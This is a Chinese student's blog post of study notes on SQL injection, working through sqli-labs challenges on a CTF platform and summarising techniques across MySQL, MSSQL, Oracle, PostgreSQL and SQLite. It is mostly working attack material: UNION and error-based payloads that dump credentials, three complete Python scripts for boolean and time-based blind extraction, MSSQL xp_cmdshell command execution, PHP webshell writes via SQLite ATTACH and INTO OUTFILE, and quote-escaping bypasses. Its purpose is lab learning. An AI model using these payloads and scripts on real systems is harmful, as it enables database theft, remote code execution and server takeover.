搭完了个人博客 做ivory学长下发的任务 重新做sql靶场 加上补充知识点 sql是最开始学的 刚开始学的时候就只是问ai 基本语法都不是很了解就在写 这里相当于重新开始吧

基础语法

也就是最基础的技巧吧

  • order by ORDER BY测列数是SQL 注入中最基础的技巧

  1. 核心原理
    ORDER BY的语法支持两种排序方式:
  • 列名 / 别名排序(如ORDER BY username);
  • 结果集的列索引排序(如ORDER BY 1表示按结果集第 1 列排序,ORDER BY 2按第 2 列,以此类推)。
  • 如果n ≤ 结果集的列数:语句执行正常(无报错);
  • 如果n > 结果集的列数:数据库会抛出 “未知列” 类错误(如 MySQL:Unknown column '3' in 'order clause'
  1. 核心用途 为后续UNION SELECT注入铺路:UNION要求前后两个查询的列数完全一致数据类型兼容,必须先确定原查询的列数,才能构造有效的UNION语句(如原查询列数为 2,则构造UNION SELECT 1,2 --)。
  • 元数据查询:查库 / 表 / 列(核心中的核心)

  • 数据聚合/拼接

GROUP_CONCAT() 多行字符串拼接为一行(默认逗号分隔)CONCAT() 多列字符串拼接为一行(单行内拼接)

  • 高频关键字

UNION SELECT 联合查询(注入核心)
LIMIT 限制结果行数(精准取数据)后面两个数字意味着从第几行取几列 如SELECT password FROM users LIMIT 0,1;(取第 1 行密码)
COUNT() 统计行数(判断表中数据量)SELECT COUNT(*) FROM users;(查用户表总记录数)

(后面的布尔盲注 时间盲注 还有报错 绕过那些会在做题后面记录)

wp

  1. 我这里打的ctf+上面的靶场 没有重新去配环境了 现成的 ‘闭合 测出三列 然后-1让他不查询 或者是在后面加个错误条件 and 1=2 union select之类的
1
id=-1' union select 1,2,database()--+

得到库名(当前会话正在使用的)
这样子把库名查完吧(所有数据库)

1
union select group_concat(schema_name)from information_schema.schemata--+

继续查表名

1
union  select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+

列名

1
2
union  select 1,2,group_concat(column_name) from 
information_schema.columns where table_name='users'--+

数据

1
union select 1,(select group_concat(username) from users ),(select group_concat(password) from users)--+
  1. 无闭合 直接注入
  2. ‘)闭合
  3. “)闭合
  4. 布尔盲注 也就是依靠回显来判断输入的语句正确与否 就用acsii码来判断出字符 这里测出来是‘闭合 然后确定语句 开始写脚本
    用遍历来做 把最开始做task的那个脚本交给ai优化了

先把报错注入的知识点写了 因为最开始打这里没有写脚本 是拿报错注入来做的 这里先写了

  • 报错注入

  • 构造恶意 SQL 语句,强制数据库执行时触发语法 / 逻辑错误,且错误信息中会 “夹带” 攻击者需要的敏感数据(库名、表名、数据等);利用数据库开启 “错误回显” 的特性(页面显示原生错误提示),直接从错误信息中提取敏感数据,无需像盲注那样逐字符猜解。
  • 前提条件 数据库开启错误回显(这一点没有的话直接放弃)
  • 核心逻辑 数据库的报错信息有个特点:当执行非法操作时,错误提示会明确指出 “哪里非法”,并展示非法内容
  • 最常用的报错方式 (最主流:)extractvalue()/updatexml()是 MySQL 处理 XML 的函数,要求第二个参数必须是合法的 XPath 语法(如/a/b);若传入非法 XPath(如包含~/@等特殊字符),数据库会抛出 “XPATH syntax error” 错误,且错误信息中会显示非法的参数内容 —— 攻击者将敏感数据拼接进非法参数,就能从错误中提取信息。
1
updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
  • 0x7e:十六进制的~(XPath 不支持~,用于触发报错,同时分隔敏感数据和错误前缀);
  • concat(0x7e, (select database()), 0x7e):拼接~ + 数据库名 + ~(如~security~);
  • updatexml接收非法 XPath 参数,触发报错:XPATH syntax error: '~security~'
  • 页面显示该错误,攻击者直接拿到数据库名security
    这里重新学报错注入的时候 重新学到了一个新的方式
    基于聚合函数冲突的报错(count+rand+group by)
    试在了第五关里面 真可以 研究一下原理 不依赖extractvalue/updatexml这两个函数
1
1' union select count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

rand() 函数:随机数生成(核心中的核心)
基础用法:rand() 生成 01 之间的随机浮点数(如 0.123、0.987);
带种子用法:rand(0)(种子固定为 0)—— 生成的随机数序列是固定的、可重复的(而非真正随机)。
例:select rand(0), rand(0)*2 from dual; 每次执行结果都是 0.15522042769493574、0.3104408553898715;
floor(rand(0)*2):floor() 是向下取整,rand(0)*2 生成 0
2 之间的浮点数,取整后只能是 0 或 1(这是触发重复的关键)。
group by + count() 的执行逻辑
当执行 select count(
), 字段A from 表 group by 字段A 时,MySQL 会做以下操作:
创建一张临时表,用于存储「字段 A 的值 → 计数」的映射(临时表的主键是 字段A,主键唯一);
逐行读取原表的数据,计算 字段A 的值;
检查临时表中是否已有该 字段A 的值:
有 → 计数 + 1;
无 → 插入新行,计数设为 1;
最终返回临时表的统计结果。
rand() 在 group by 中的 “多次执行” 特性
MySQL 对 group by 中的 rand() 有个特殊处理:在临时表中检查 / 插入时,会两次计算 rand() 的值(一次用于检查主键是否存在,一次用于插入新行)。如果 rand() 是固定种子(如 rand(0)),两次计算的结果可能不一致,这是触发冲突的核心
Duplicate entry 错误
MySQL 临时表的主键是唯一的,若尝试插入重复的主键值,会触发 Duplicate entry 'xxx' for key 'group_key' 错误,且错误信息中会明确显示 “重复的主键值 xxx”—— 这就是敏感数据的泄露入口。

1
id=1' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

看到库

1
id=1' union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

看到表

1
2
id=1' union select 1,count(*),concat(0x7e,(select column_name from 
information_schema.columns where table_name='users' limit 1,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

看到列

1
id=1' union select 1,count(*),concat(0x7e,(select concat(username,':',password) from `users` limit 2,1),0x7e,floor(rand(0)*2)) as x from information_schema.tables group by x--+

最后是数据
用上面的updatexml路径报错再做一遍

1
id=1' and updatexml(1,concat(0x7e,(select  schema_name from information_schema.schemata limit 0,1),0x7e),1)--+
1
id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

1
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+

1
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1)--+

1
id=1' and updatexml(1,concat(0x7e,(select concat(username,':',password) from `users` limit 0,1),0x7e),1)--+

数据
extractvalue()使用方法类似 上面有写
只不过是 EXTRACTVALUE(xml_doc, xpath_expr)查 XML 里的某个内容 UPDATEXML(xml_doc, xpath_expr, new_value) 改 XML 里的某个内容

  • 布尔盲注

  1. 继续接上前面第五关的内容 贴上改过后的脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests  
flag="You are in..........."
a_url="http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-5/?id="


def is_true(payload):
try:
# 加超时,避免卡住;关闭重定向,防止干扰
resp = requests.get(f"{a_url}{payload}", timeout=5, allow_redirects=False)
return flag in resp.text
except Exception as e:
# 打印异常,方便调试
print(f"请求出错: {e}")
return False

# 获取目标字符串的长度(如数据库名长度、表名长度)
def get_length(name):
# 循环变量名改为len_num,避免和函数名重名
for len_num in range(1, 100):
payload = f"1' and length(({name}))={len_num}--+"
if is_true(payload):
print(f"[{name}] 长度: {len_num}")
return len_num
return 0

# 逐字符爆破目标字符串(核心盲注逻辑)
def get_string(name, len_num):
result = ""
print(f"开始爆破 [{name}]...")
for i in range(1, len_num + 1):
# ASCII范围32-126(可打印字符)
for asc in range(32, 127):
payload = f"1' and ascii(substr(({name}),{i},1))={asc}--+"
if is_true(payload):
result += chr(asc)
# 实时打印进度,方便调试
print(f"\r当前进度: {result}", end="")
break
print() # 换行
return result

# 主程序入口(必须加,否则函数定义和执行代码会混在一起)
if __name__ == "__main__":
# ========== 1. 爆破数据库名 ========== db_len = get_length("database()")
if db_len == 0:
print("数据库名长度爆破失败!")
exit()
db_name = get_string("database()", db_len)
print(f"✅ 数据库名: {db_name}")

# ========== 2. 爆破当前库的所有表名 ========== tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
tables_len = get_length(tables_sql)
if tables_len == 0:
print("表名长度爆破失败!")
exit()
tables = get_string(tables_sql, tables_len)
print(f"✅ 所有表名: {tables}")
# 提取目标表(优先users,无则取第一个表)
table_list = tables.split(',') # 拆分表名字符串为列表
target_table = "users" if "users" in table_list else table_list[0]
print(f"🔍 选定目标表: {target_table}")

# ========== 3. 爆破目标表的所有列名 ========== cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
cols_len = get_length(cols_sql)
if cols_len == 0:
print("列名长度爆破失败!")
exit()
cols = get_string(cols_sql, cols_len)
print(f"✅ 目标表列名: {cols}")
# 提取目标列(优先username/password,无则取前两列)
col_list = cols.split(',')
target_cols = [c for c in ["username", "password"] if c in col_list]
if not target_cols: # 无则取前两列
target_cols = col_list[:2]
print(f"🔍 选定目标列: {target_cols}")

# ========== 4. 爆破目标列的数据 ========== for col in target_cols:
data_sql = f"select group_concat({col}) from {target_table}"
data_len = get_length(data_sql)
if data_len == 0:
print(f"{col} 数据长度爆破失败!")
continue
data = get_string(data_sql, data_len)
print(f"✅ {col} 数据: {data}")
  1. “闭合 改脚本
  2. “)) 闭合
  3. ‘闭合
  • 时间盲注

等于没有回显了 不管怎么样 都是相同的界面 当时还是没太懂 其实也就是对与不对来造成不同的访问界面 从而慢慢拼接出字符 两个核心函数配合
SLEEP(n):让 SQL 执行卡n秒(比如SLEEP(5)就是卡 5 秒);
IF(条件, 执行1, 执行2):条件成立则执行 1,否则执行 2。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import requests
import time # 新增:用于计算响应耗时
a_url = "http://80-d3ec6b44-9a8a-45e9-b74a-f92c243b95af.challenge.ctfplus.cn/Less-9/?id="

# 核心:判断条件是否成立(时间盲注靠响应耗时)
# 条件成立 → 执行SLEEP(3) → 响应耗时>3秒;条件不成立 → 立刻返回
def is_true(payload):
try:
start_time = time.time() # 记录请求开始时间
# 超时设为5秒(大于SLEEP的3秒,避免提前超时)
resp = requests.get(f"{a_url}{payload}", timeout=5, allow_redirects=False)
end_time = time.time()
cost_time = end_time - start_time # 计算耗时
# 耗时超过3秒 → 条件成立
return cost_time > 3
except requests.exceptions.Timeout:
# 超时也说明条件成立(SLEEP导致超时)
return True
except Exception as e:
print(f"请求出错: {e}")
return False

# 获取目标字符串长度(时间盲注版)
def get_length(name):
for len_num in range(1, 100):
# 核心修改:IF(长度等于len_num, SLEEP(3), 0)
payload = f"1' and IF(length(({name}))={len_num}, SLEEP(3), 0)--+"
if is_true(payload):
print(f"[{name}] 长度: {len_num}")
return len_num
return 0

# 逐字符爆破目标字符串(时间盲注版)
def get_string(name, len_num):
result = ""
print(f"开始爆破 [{name}]...")
for i in range(1, len_num + 1):
# ASCII范围32-126(可打印字符)
for asc in range(32, 127):
# 核心修改:IF(字符的ASCII等于asc, SLEEP(3), 0)
payload = f"1' and IF(ascii(substr(({name}),{i},1))={asc}, SLEEP(3), 0)--+"
if is_true(payload):
result += chr(asc)
# 实时打印进度
print(f"\r当前进度: {result}", end="")
break
print() # 换行
return result

# 主程序入口
if __name__ == "__main__":
# ========== 1. 爆破数据库名 ==========
db_len = get_length("database()")
if db_len == 0:
print("数据库名长度爆破失败!")
exit()
db_name = get_string("database()", db_len)
print(f"✅ 数据库名: {db_name}")

# ========== 2. 爆破当前库的所有表名 ==========
tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
tables_len = get_length(tables_sql)
if tables_len == 0:
print("表名长度爆破失败!")
exit()
tables = get_string(tables_sql, tables_len)
print(f"✅ 所有表名: {tables}")
# 提取目标表(优先users,无则取第一个表)
table_list = tables.split(',')
target_table = "users" if "users" in table_list else table_list[0]
print(f"🔍 选定目标表: {target_table}")

# ========== 3. 爆破目标表的所有列名 ==========
cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
cols_len = get_length(cols_sql)
if cols_len == 0:
print("列名长度爆破失败!")
exit()
cols = get_string(cols_sql, cols_len)
print(f"✅ 目标表列名: {cols}")
# 提取目标列(优先username/password,无则取前两列)
col_list = cols.split(',')
target_cols = [c for c in ["username", "password"] if c in col_list]
if not target_cols:
target_cols = col_list[:2]
print(f"🔍 选定目标列: {target_cols}")

# ========== 4. 爆破目标列的数据 ==========
for col in target_cols:
data_sql = f"select group_concat({col}) from {target_table}"
data_len = get_length(data_sql)
if data_len == 0:
print(f"{col} 数据长度爆破失败!")
continue
data = get_string(data_sql, data_len)
print(f"✅ {col} 数据: {data}")
  1. “闭合
  2. ‘正常注入 应该是 类似于select * from users where username=’’ and password=’’这样子的验证 把后面注释了 所以密码随便输入
  3. “)闭合
  4. 没有回显了 可以考虑时间盲注 我报错做的 ‘)闭合
  5. “闭合
  6. 报错也没法了 那就时间盲注 抓包看到发的是post请求
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
import requests
import time # 用于计算响应耗时

# 基础URL(去掉原GET的?id=,因为POST参数在表单里)
a_url = "http://80-ce1a9e65-c341-47bd-b72c-c43dc97f3113.challenge.ctfplus.cn/Less-15/"

# 核心:判断条件是否成立(时间盲注靠响应耗时)
# 条件成立 → 执行SLEEP(3) → 响应耗时>3秒;条件不成立 → 立刻返回
def is_true(payload):
try:
# 构造POST表单数据:uname=注入payload,submit=Submit(必填)
post_data = {
"uname": payload,
"passwd": "1",# 原id参数改为uname
"submit": "Submit" # 必须携带的submit参数
}
start_time = time.time() # 记录请求开始时间
# 发送POST请求,超时设为5秒(大于SLEEP的3秒)
resp = requests.post(
a_url,
data=post_data, # 传递表单参数
timeout=5,
allow_redirects=False
)
end_time = time.time()
cost_time = end_time - start_time # 计算耗时
# 耗时超过3秒 → 条件成立
return cost_time > 3
except requests.exceptions.Timeout:
# 超时也说明条件成立(SLEEP导致超时)
return True
except Exception as e:
print(f"请求出错: {e}")
return False

# 获取目标字符串长度(时间盲注版,payload构造逻辑不变)
def get_length(name):
for len_num in range(1, 100):
# payload仍为注入语句,最终传给uname字段
payload = f"1' and IF(length(({name}))={len_num}, SLEEP(3), 0)--+"
if is_true(payload):
print(f"[{name}] 长度: {len_num}")
return len_num
return 0

# 逐字符爆破目标字符串(时间盲注版,payload构造逻辑不变)
def get_string(name, len_num):
result = ""
print(f"开始爆破 [{name}]...")
for i in range(1, len_num + 1):
# ASCII范围32-126(可打印字符)
for asc in range(32, 127):
payload = f"1' and IF(ascii(substr(({name}),{i},1))={asc}, SLEEP(3), 0)--+"
if is_true(payload):
result += chr(asc)
# 实时打印进度
print(f"\r当前进度: {result}", end="")
break
print() # 换行
return result

# 主程序入口
if __name__ == "__main__":
# ========== 1. 爆破数据库名 ==========
db_len = get_length("database()")
if db_len == 0:
print("数据库名长度爆破失败!")
exit()
db_name = get_string("database()", db_len)
print(f"✅ 数据库名: {db_name}")

# ========== 2. 爆破当前库的所有表名 ==========
tables_sql = f"select group_concat(table_name) from information_schema.tables where table_schema='{db_name}'"
tables_len = get_length(tables_sql)
if tables_len == 0:
print("表名长度爆破失败!")
exit()
tables = get_string(tables_sql, tables_len)
print(f"✅ 所有表名: {tables}")
# 提取目标表(优先users,无则取第一个表)
table_list = tables.split(',')
target_table = "users" if "users" in table_list else table_list[0]
print(f"🔍 选定目标表: {target_table}")

# ========== 3. 爆破目标表的所有列名 ==========
cols_sql = f"select group_concat(column_name) from information_schema.columns where table_schema='{db_name}' and table_name='{target_table}'"
cols_len = get_length(cols_sql)
if cols_len == 0:
print("列名长度爆破失败!")
exit()
cols = get_string(cols_sql, cols_len)
print(f"✅ 目标表列名: {cols}")
# 提取目标列(优先username/password,无则取前两列)
col_list = cols.split(',')
target_cols = [c for c in ["username", "password"] if c in col_list]
if not target_cols:
target_cols = col_list[:2]
print(f"🔍 选定目标列: {target_cols}")

# ========== 4. 爆破目标列的数据 ==========
for col in target_cols:
data_sql = f"select group_concat({col}) from {target_table}"
data_len = get_length(data_sql)
if data_len == 0:
print(f"{col} 数据长度爆破失败!")
continue
data = get_string(data_sql, data_len)
print(f"✅ {col} 数据: {data}")

改成post即可
16. “)闭合 时间盲注 上面的脚本就可以
17. password里面 单引号闭合 报错注入
18. 用user-agent进行报错注入 看源码 还需要填上两个值 并且加上一个括号重新闭合 所以常规的报错注入不行

1
' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '1'='1
  1. referers注入
  2. cookie注入
  3. cookie注入 base64编码 注释符号不能用了 就用’1’=’1 来构造恒真条件 让and后面的执行但是没有意义
    闭合语法 + 构造恒真条件 后面的代码执行但无意义
  4. “闭合
  5. ‘闭合 正常查询 加上’1’=’1闭合即可
  6. 依靠密码修改的后端漏洞 修改密码用户名那里’可以闭合 也就是可以通过提前闭合 比如提前知晓一个用户名是admin 自己设置一个用户名为admin’ 闭合之后 后面注释掉现有密码的检验 让他失效 也就是admin’#11111(随便加的1 不然感觉太明显了 其实也很明显)最后修改密码 实则修改的是admin的密码 有了密码登陆即可(下来我会去寻找其他二次注入的题)
  7. and or 不能用了 可以用逻辑运算符&&,||代替 至于库里面的or 双写绕过即可 这里其他编码也不行

到这里
基础的Mysql靶场前25关打完了 但是只局限于MySQL的数据库类型 下面结合博客上面的文章以及ivory学长的文章链接补充其他的数据库类型以及更多的绕过方法


判断数据库类型的方法

  1. 基于报错信息的识别 前提是开启了报错提示 不过这个判断我觉得很简单 所以我放在首位
  2. 字符串连接符测试 这个应该是最实用的 检测也很快
    + (加号) -> MSSQL
  • 判定逻辑:MSSQL 唯一使用 + 进行字符串连接。且因强类型限制,1+'a' 会触发类型转换错误。

  • concat(a,b) 或 空格 -> MySQL

  • 判定逻辑:MySQL 支持 concat 函数及隐式连接'a' 'b' 等同于 'ab')。

  • || (管道符) -> Oracle / PGSQL / SQLite
    判定逻辑:标准 SQL 连接符。
    二次区分 (FROM 子句):

  • 提交 UNION SELECT 1。若报错提示缺少 FROM,则为 Oracle;若成功,则为 PGSQL/SQLite。

  1. 基于时间的盲注识别
  • MySQL: id=1 AND sleep(5)
  • PostgreSQL: id=1; SELECT pg_sleep(5)
  • MSSQL: id=1 WAITFOR DELAY '0:0:5'
  • Oracle: id=1 AND 1=dbms_pipe.receive_message('RDS', 5)
  • SQLite: id=1 AND randomblob(100000000) (计算耗时模拟)

系统库详解

1. MySQL / MariaDB (Web 环境主流)

系统库架构
  • information_schema (5.0+): 标准元数据库。

    • schemata: 存储数据库名。

    • tables: 存储表名及归属库。

    • columns: 存储列名。

  • mysql: 存储用户权限及 UDF。

    • mysql.user: 提取哈希。
  • sys (5.7+): WAF 绕过关键点。当 information_schema 被过滤时,查询 sys.schema_table_statisticssys.x$schema_flattened_keys 可获取表名信息。
    MySQL 的核心在于利用 group_concat 将多行数据合并,突破单行回显限制。
    A. 爆所有数据库名

1
2
UNION SELECT 1, group_concat(schema_name), 3 
FROM information_schema.schemata

B. 爆当前库的所有表名

1
2
3
UNION SELECT 1, group_concat(table_name), 3 
FROM information_schema.tables
WHERE table_schema=database()

C. 爆指定表 (e.g., ‘users’) 的所有列名

1
2
3
UNION SELECT 1, group_concat(column_name), 3 
FROM information_schema.columns
WHERE table_name='users' AND table_schema=database()

替代方案:Sys 库绕过 (当 information_schema 被禁)

1
2
3
UNION SELECT 1, group_concat(table_name), 3 
FROM sys.schema_table_statistics
WHERE table_schema=database()

这个替代方案重点记一下 学长考核的时候问到过 而且information_schema被ban很常见的 下面总结的时候详细写写

2. SQL Server (MSSQL)

2.1 系统库架构
  • master: 系统核心库。

    • master..sysdatabases: 数据库列表。
  • sysobjects: 当前库的对象表(xtype=’U’ 代表用户表)。

  • syscolumns: 当前库的列定义。

2.2 Payload

MSSQL 早期版本不支持 group_concat,CTF 中常用 FOR XML PATH('') 技术进行数据聚合。

A. 爆所有数据库名 (FOR XML PATH 聚合)

1
2
/* 将多行数据库名合并为一行显示 */
UNION SELECT 1, (SELECT name + ',' FROM master..sysdatabases FOR XML PATH('')), 3

B. 爆当前库的所有表名

1
UNION SELECT 1, (SELECT name + ',' FROM sysobjects WHERE xtype='U' FOR XML PATH('')), 3

C. 爆指定表 (e.g., ‘users’) 的所有列名 需要联合 sysobjectssyscolumns

1
2
3
4
5
UNION SELECT 1, (
SELECT name + ',' FROM syscolumns WHERE id = (
SELECT id FROM sysobjects WHERE name = 'users'
) FOR XML PATH('')
), 3

D. 提权 (XP_CMDSHELL)

1
2
3
4
/* 启用组件并执行命令 */
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
  • EXEC: 执行(Execute)。
  • sp_configure: 系统自带的一个功能,用来修改服务器配置。
  • 'show advanced options', 1: 把“显示高级选项”这个开关设为 1(开启)。
  • RECONFIGURE: 保存并立即生效(不加这个,修改只是暂存,不会生效)
    xp_cmdshell 是 MSSQL 里一个非常强大的扩展功能。它的作用是让数据库去指挥 Windows 操作系统执行 DOS 命令
    这个数据库的提权很特别 查了一下
    xp_cmdshellMSSQL (SQL Server) 独有的特性
    居然能直接进行执行系统命令 很神奇

3. Oracle Database

3.1 系统视图架构
  • 注意: Oracle 是单实例多用户架构,Schema 等同于用户。
    这个有点特别 从下面也能看出来
    User 与 Schema 是一一对应的。 当你创建一个 User 时,系统隐式地为该用户创建了一个同名的 Schema。用户 A 创建的表,默认存储在 Schema A 中
  • USER_TABLES: 当前用户的表。
  • all_tables / `all_users: 当前用户可访问的所有表。
  • dba_tables / dba_users:显示整个数据库的所有信息,包括管理员隐藏的 (需要权限)
  • USER_TAB_COLUMNS: 当前用户的列信息。
  • v$version: 版本信息。
3.2 Payload

Oracle 要求数据类型严格匹配(数字对数字,字符对字符),常用 NULL 填充。聚合函数为 LISTAGG (11gR2+) 或 WMSYS.WM_CONCAT (旧版本)。

A. 爆当前用户的表名

1
2
/* 使用 LISTAGG 聚合 */
UNION SELECT 1, (SELECT LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name) FROM user_tables), NULL FROM dual

B. 爆指定表 (e.g., ‘ADMIN’) 的列名

1
UNION SELECT 1, (SELECT LISTAGG(column_name, ',') WITHIN GROUP (ORDER BY column_name) FROM user_tab_columns WHERE table_name='ADMIN'), NULL FROM dual

C. 报错注入 (CTXSYS) 当无法使用 UNION 时使用。

1
AND 1=ctxsys.drithsx.sn(1, (SELECT banner FROM v$version))

4. PostgreSQL (PGSQL)

4.1 系统模式架构
  • pg_catalog: 系统 Schema。

  • pg_database: 数据库列表。

  • pg_tables: 表列表。

  • information_schema: PGSQL 也完全支持 ANSI 标准的 information_schema。

4.2 Payload

PGSQL 的聚合函数是 string_agg

A. 爆所有数据库名

1
UNION SELECT 1, string_agg(datname, ','), 3 FROM pg_database

B. 爆当前 Schema (public) 的所有表名

1
2
3
UNION SELECT 1, string_agg(tablename, ','), 3 
FROM pg_tables
WHERE schemaname='public'

C. 爆列名 (使用 information_schema)

1
2
3
UNION SELECT 1, string_agg(column_name, ','), 3 
FROM information_schema.columns
WHERE table_name='users'

5. SQLite

着重学习这个 基本在ctf里面遇到的全是这个 Python Web的常客 而且与前面的不同是别的数据库你得查表名、再查列名
SQLite 只要查一张表

一. 系统表架构

SQLite 没有复杂的 information_schema 库,它所有的元数据都存储在一个名为 sqlite_master 的隐藏表中(在临时数据库中叫 sqlite_temp_master

  1. sqlite_master 表结构
  2. 其他辅助系统表
  • sqlite_sequence: 如果表中使用了 AUTOINCREMENT 自增主键,系统会自动创建这张表来记录当前序号。可以通过判断这张表是否存在来辅助识别 SQLite。
    记一下关键字
二. Payload
  1. 有回显注入
    不需要像 MySQL 那样先查 tables 再查 columns。直接查 sqlite_mastersql 字段 类似
    UNION SELECT 1, sql, 3 FROM sqlite_master WHERE type='table'
    回显是直接给里面所有类型的数据 之前打一个国外的ctf题遇见过 当时没总结 取数据也如下
    UNION SELECT 1, group_concat(secret_flag), 3 FROM users
  2. 布尔盲注
    当没有回显时,利用 substrlength 进行逐字猜解
    类似 长度
    AND length((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1)) > 5
    字符
    AND substr((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1), 1, 1) = 'u'
  3. 时间盲注
    SQLite 没有 sleep() 函数
    就用最开始上面说的randomblob() 生成一个巨大的随机二进制大对象,并用 hex 处理 造成卡顿
  4. 写 WebShell 没试验过 条件比较苛刻 看看这个假期出个这样的题(主要依赖**ATTACH** 机制进行写文件操作 ATTACH 的本质是:在不关闭当前连接的情况下,将另一个外部文件的句柄“挂载”到当前的数据库连接会话中)
    条件是
  • 堆叠注入 (Stacked Queries):必须支持多条语句执行(即允许分号 ;
  • 数据库运行进程对 Web 目录有写入权限
    执行方式是 利用 ATTACH DATABASE 命令,将一个 PHP 文件当做“数据库”连接进来,然后创建一个表,把 PHP 代码当做数据写入表里,最后 PHP 解析器解析该文件时执行代码
    最基础payload
1
'; ATTACH DATABASE '/var/www/html/shell.php' AS a; CREATE TABLE a.c (d text); INSERT INTO a.c (d) VALUES ('<?php eval($_POST[1]);?>'); --

语法很基础 但是局限性很强 满足的条件太苛刻了 我看看尽量把出题的方向往ATTACH的跨库窃取数据方向靠 ATTACH还是太妙了

1
2
3
ATTACH DATABASE '/var/data/admin_secret.db' AS target;

UNION SELECT 1, password, 3 FROM target.admin_table;

前提是知道路径 构思一下怎么出题吧

SQL补课

读写文件

  1. 读文件用load_file()函数(读取文件依赖于my.ini配置文件里的secure-file-priv如果secure-file-priv为空的话,就可以读取外部任意文件。默认只可以读取MySQL/MySQL Server 8.0/Uploads”里的。)
    `select load_file(“D:\MySQL\MySQL Server 8.0\Uploads\flag.txt”) as file_content;
  2. 写文件用into outfile
1
2
3
4
5
6
7
8
select 1,'<?php @eval($_POST[cmd]);phpinfo();?>',3 into outfile "/var/www/html/shell.php"
或者
select 1,load_file("/var/www/html/flag.txt"),3 into outfile "/var/www/html/shell.php"
这样可以达到修改文件后缀的效果,当成php解析
也可以
?id=1' union select 1,“”,3 into dumpfile ‘C:\phpstudy\WWW\sqli\shell.php'#
outfile可以写入多行数据,并且字段和行终止符都可以作为格式输出。
dumpfile只能写一行,并且输出中不存在任何格式。

在多多阅读相关文章后 我发现信神很全面了 好好阅读了 下面cv了信的博客

常见绕过替代

空格

  1. 可以使用括号包裹
1
SELECT(GROUP_CONCAT(schema_name))FROM(information_schema.schemata);

这个我容易把自己绕晕 所以在做极客和之前一个过滤空格都是用下面的 比较有逻辑
2. 内联注释/**/可以代替空格

1
SELECT/**/GROUP_CONCAT(schema_name)/**/FROM/**/information_schema.schemata;
  1. 符号代替空格的方式(urlencode):
1
2
3
4
5
6
%0D Carriage Return,回车 代替空格  
%0A Line Feed,换行 代替空格
%0C Form Feed,换页 代替空格
%09 Horizontal Tab,水平制表 代替空格
%0B Vertical Tab,垂直制表 代替空格
%A0 Non-breaking space (MySQL only),不间断空格 代替空格
  1. 使用反引号包裹变量名
1
SELECT(GROUP_CONCAT(schema_name))FROM`information_schema`.`schemata`;

引号

一、宽字节注入(GBK/双字节字符集绕过)
1. 产生条件
  • PHP 配置中 magic_quotes_gpc = On 或程序对单引号转义

  • 数据库连接使用 GBK、BIG5 等多字节字符集

  • 单引号 ' 被转义为 \'%5C%27

2. 核心原理

在 GBK 等双字节字符集中,一个汉字占 2 个字节。反斜杠 \ 的 ASCII 码 0x5C 正好在某些中文字符的第二个字节范围内。

关键过程:

1
2
3
4
5
6
7
8
原始输入:id=1'
转义后: id=1\'
URL编码: id=1%5C%27

加入宽字节:id=1%df'
转义后: id=1%df%5C%27
GBK解码: %df%5C → "運"(一个汉字)
剩余: %27 → '

\ 被合并到前一个字节组成汉字,单引号重新暴露。

3. 可用组合
  • %df%5C → 運

  • %bf%5C → 縗

  • %aa%5C → 需验证字符集支持

  • 范围:首字节 0x81–0xFE + 尾字节 0x40–0xFE(包含 0x5C

4. 示例攻击
1
2
3
4
5
6
7
8
-- 正常查询
SELECT * FROM users WHERE id='1'

-- 转义后
SELECT * FROM users WHERE id='1\''

-- 宽字节注入后
SELECT * FROM users WHERE id='1運' union select 1,2,3 -- '

Payload:

1
id=1%df' union select 1,2,3 -- 

二、反斜杠转义导致的注入
1. 场景

多参数查询中,第一个参数的转义影响第二个参数的解析。

2. 示例

原始 SQL:

1
SELECT username FROM users WHERE id='$id' AND passwd='$passwd'

攻击输入:

1
2
id=1\
passwd=UNION SELECT 1,2,3--

生成 SQL:

1
SELECT username FROM users WHERE id='1\' AND passwd=' UNION SELECT 1,2,3--'
3. 解析过程
  1. id 值为 1\(末尾有反斜杠)

  2. 在 SQL 中 \' 被转义为单引号字符(字面量)

